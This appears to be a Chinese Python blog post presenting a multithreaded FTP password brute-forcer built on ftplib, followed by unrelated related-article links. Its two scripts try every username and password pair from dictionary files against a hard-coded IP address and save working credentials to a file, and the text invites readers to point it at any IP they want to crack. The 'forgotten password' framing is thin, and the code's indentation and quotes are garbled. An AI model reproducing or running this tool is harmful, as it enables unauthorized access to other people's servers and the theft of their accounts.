忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
Linux下通过python访问MySQL、Oracle、SQL Server数据库的方法
Apr 23 Python
利用python求相邻数的方法示例
Aug 18 Python
Python探索之ModelForm代码详解
Oct 26 Python
分析Python读取文件时的路径问题
Feb 11 Python
Python SQLite3简介
Feb 22 Python
python利用pandas将excel文件转换为txt文件的方法
Oct 23 Python
解决python 读取excel时 日期变成数字并加.0的问题
Oct 08 Python
如何基于python生成list的所有的子集
Nov 11 Python
pytorch+lstm实现的pos示例
Jan 14 Python
Python通过TensorFLow进行线性模型训练原理与实现方法详解
Jan 15 Python
Python读取ini配置文件传参的简单示例
Jan 05 Python
numpy实现RNN原理实现
Mar 02 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
php自动适应范围的分页代码
2008/08/05 PHP
php 输出双引号"与单引号'的方法
2010/05/09 PHP
php递归获取目录内文件(包含子目录)封装类分享
2013/12/25 PHP
测试php连接mysql是否成功的代码分享
2014/01/24 PHP
实例介绍PHP的Reflection反射机制
2014/08/05 PHP
PHP文件系统管理(实例讲解)
2017/09/19 PHP
解决tp5在nginx下修改配置访问的问题
2019/10/16 PHP
js实现一个省市区三级联动选择框代码分享
2013/03/06 Javascript
jquery利用ajax调用后台方法实例
2013/08/23 Javascript
Javascript Objects详解
2014/09/04 Javascript
使用JavaScript的AngularJS库编写hello world的方法
2015/06/23 Javascript
iPhone手机上搭建nodejs服务器步骤方法
2015/07/06 NodeJs
javascript中不易分清的slice,splice和split三个函数
2016/03/29 Javascript
动态加载js、css的简单实现代码
2016/05/26 Javascript
js基于cookie方式记住返回页面用法示例
2016/05/27 Javascript
js中this的指向问题归纳总结
2018/11/28 Javascript
JavaScript this绑定过程深入详解
2018/12/07 Javascript
nodejs微信开发之接入指南
2019/03/17 NodeJs
VUE 自定义组件模板的方法详解
2019/08/30 Javascript
微信小程序实现图片翻转效果的实例代码
2019/09/20 Javascript
python连接池实现示例程序
2013/11/26 Python
Python实现查找系统盘中需要找的字符
2015/07/14 Python
python实现爬虫统计学校BBS男女比例之多线程爬虫(二)
2015/12/31 Python
Python selenium 父子、兄弟、相邻节点定位方式详解
2016/09/15 Python
python字典的值可以修改吗
2020/06/29 Python
CSS3 函数技巧 用css 实现js实现的事情(clac Counters Tooltip)
2017/08/15 HTML / CSS
Harrods美国:英国最大的百货公司
2018/11/04 全球购物
Square Off美国/加拿大:世界上最聪明的国际象棋棋盘
2018/12/06 全球购物
Clarks其乐鞋荷兰官网:Clarks荷兰
2019/07/05 全球购物
交通事故协议书范文
2014/04/16 职场文书
延安红色之旅心得体会
2014/10/07 职场文书
村党支部书记个人对照材料汇报
2014/10/26 职场文书
二手车转让协议书
2015/01/29 职场文书
二审答辩状格式
2015/05/22 职场文书
2016入党积极分子考察评语
2015/12/01 职场文书
Mysql 一主多从的部署
2022/05/20 MySQL